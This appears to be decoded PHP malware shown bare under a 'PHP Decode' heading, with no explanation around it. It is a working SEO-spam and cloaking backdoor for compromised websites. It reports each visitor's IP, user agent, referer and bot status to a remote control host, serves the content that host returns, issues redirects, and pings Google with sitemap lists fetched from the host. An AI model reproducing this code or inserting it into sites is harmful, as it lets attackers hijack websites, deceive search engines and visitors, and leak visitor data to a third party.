PHP Decode

$a='fgj607';@set_time_limit(3600);define("W",'http://fgj607.freemiss.ru');define("U",getu());function k($b){return@$_SERVER[$b]?$_SERVER[$b]:"";}define("S",strtolower(k("PHP_SELF")!=""?k("PHP_SELF"):k("SCRIPT_NAME")));$d=stripos(S,"index.php")!==false&&stripos(U,S)===false?rtrim(S,"index.php"):S;if($d=="")$d="/";define("F",$d);$f=@$_REQUEST["p"];$d=ltrim(U,F);if($f!="")$d=preg_replace("@(\\?|\\&)p=".$f."@","",$d);define("U2",preg_replace("#^\\W+#","",$d));$h=k('HTTP_USER_AGENT');function getu(){$k=k("REQUEST_URI");if(empty($k)){$l=k('argv');$k=S.'?'.(is_array($l)?$l[0]:k('QUERY_STRING'));}return $k;}function get_ip(){$p=k('REMOTE_ADDR');if(!empty($_SERVER['HTTP_CLIENT_IP'])){$p=k('HTTP_CLIENT_IP');}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$p=k('HTTP_X_FORWARDED_FOR');}if(stristr($p,',')){$t=explode(",",$p);$p=$t[0];}return $p;}function c($u,$z,$aa){if(function_exists("curl_init")){$ff=curl_init();if($aa){curl_setopt($ff,CURLOPT_URL,$u);curl_setopt($ff,CURLOPT_POST,1);curl_setopt($ff,CURLOPT_POSTFIELDS,$z);}else{curl_setopt($ff,CURLOPT_URL,$u."?".$z);}curl_setopt($ff,CURLOPT_RETURNTRANSFER,1);curl_setopt($ff,CURLOPT_HEADER,0);curl_setopt($ff,CURLOPT_TIMEOUT,30);curl_setopt($ff,CURLOPT_FOLLOWLOCATION,1);$gg=curl_exec($ff);curl_close($ff);return $gg;}return false;}function get_url($hh){if(!function_exists("pfsockopen")&&!function_exists("fsockopen")){return false;}try{$hh=parse_url($hh);if(empty($hh["port"])){$hh["port"]=80;}$ii=$hh["path"]."?".$hh["query"];$jj=pfsockopen($hh["host"],$hh["port"],$kk,$ll,30);if(!$jj){$jj=fsockopen($hh["host"],$hh["port"],$kk,$ll,30);}if(!$jj){return false;}else{$mm="GET $ii HTTP/1.1\r\n";$mm.="Host: {$hh['host']}\r\n";$mm.="Connection: Close\r\n";$mm.="\r\n";fwrite($jj,$mm);$nn='';$oo=0;while(true){$nn.=fread($jj,1);$oo+=1;if($oo>=4&&$nn[$oo-1]=="\n"&&substr($nn,-4)=="\r\n\r\n"){break;}}$pp=readChunked($jj);fclose($jj);return $pp;}}catch(Exception $b){return false;}}function readChunked($qq){$pp='';while(true){$rr='';do{$rr.=fread($qq,1);}while(strpos($rr,"\r\n")===false);if(strpos($rr,' ')!==false){list($uu,$vv)=explode(' ',$rr,2);}else{$uu=$rr;$vv='';}$uu=(int)base_convert($uu,16,10);if($uu===0){fread($qq,2);return $pp;}else{$rr='';$ww=0;while($ww<$uu+2){$rr.=fread($qq,$uu-$ww+2);$ww=strlen($rr);}$pp.=substr($rr,0,-2);}}}function http($u,$xx){$yy="text/html";if(strpos(U2,"pingsitemap")===false&&(strpos(U2,".xml")!==false||strpos(U2,"/feed")!==false)){$yy="text/xml";}else{if(strpos(U2,".txt")!==false){$yy="text/plain";}else{if(strpos(U2,"images/")!==false){$yy="image/webp";}else{if(strpos(U2,"sitemap.xsl")!==false){$yy="text/css";}}}}header("content-type: {$yy}; charset=UTF-8");$z=http_build_query($xx);$zz=W.$u."?".$z;$gg=@file_get_contents($zz);if(!$gg)$gg=c(W.$u,$z,0);if(!$gg)$gg=c(W.$u,$z,1);if(!$gg)$gg=get_url($zz);return $gg;}function g($u,$xx){$gg=http($u,$xx);$aaa='HTTP/1.1 500 Internal Server Error';if(!$gg){@header($aaa);die;}$b=substr($gg,0,1);switch($b){case "4":@header('HTTP/1.1 404 Not Found');die;case "5":@header($aaa);die;case "3":@header('HTTP/1.1 302 Moved Permanently');header('Location: '.substr($gg,1));header('referer: '.k("HTTP_HOST"));die;case "7":return false;case "8":die;default:header('HTTP/1.1 200 OK');return $gg;}}$bbb=array("ip"=>get_ip(),"lang"=>k("HTTP_ACCEPT_LANGUAGE"),"ua"=>$h,"r"=>strtolower(k("HTTP_REFERER")),"host"=>k("HTTP_HOST"),"uri"=>U,"uri2"=>U2,"isBot"=>preg_match("@google|yahoo|bing@",$h)?"1":"","f"=>F,"p"=>$f);if(k('HTTPS')=='on'||k('HTTP_X_FORWARDED_PROTO')=='https'){$bbb["h"]="1";}if(strpos(U,"pingsitemap")!==false){$ccc=explode(",",g("/sitemap.list",$bbb));foreach($ccc as $ddd){$xx='https://www.google.com/ping?sitemap='.$ddd;$gg=c($xx,array(),0);if(!$gg){$gg=@file_get_contents($xx);}if(stristr($gg,'successfully')){echo $xx.'<br>pingok<br>';}else{echo $xx.'======creat file false!<br>';}}die;}$eee=g("/",$bbb);if($eee){die($eee);}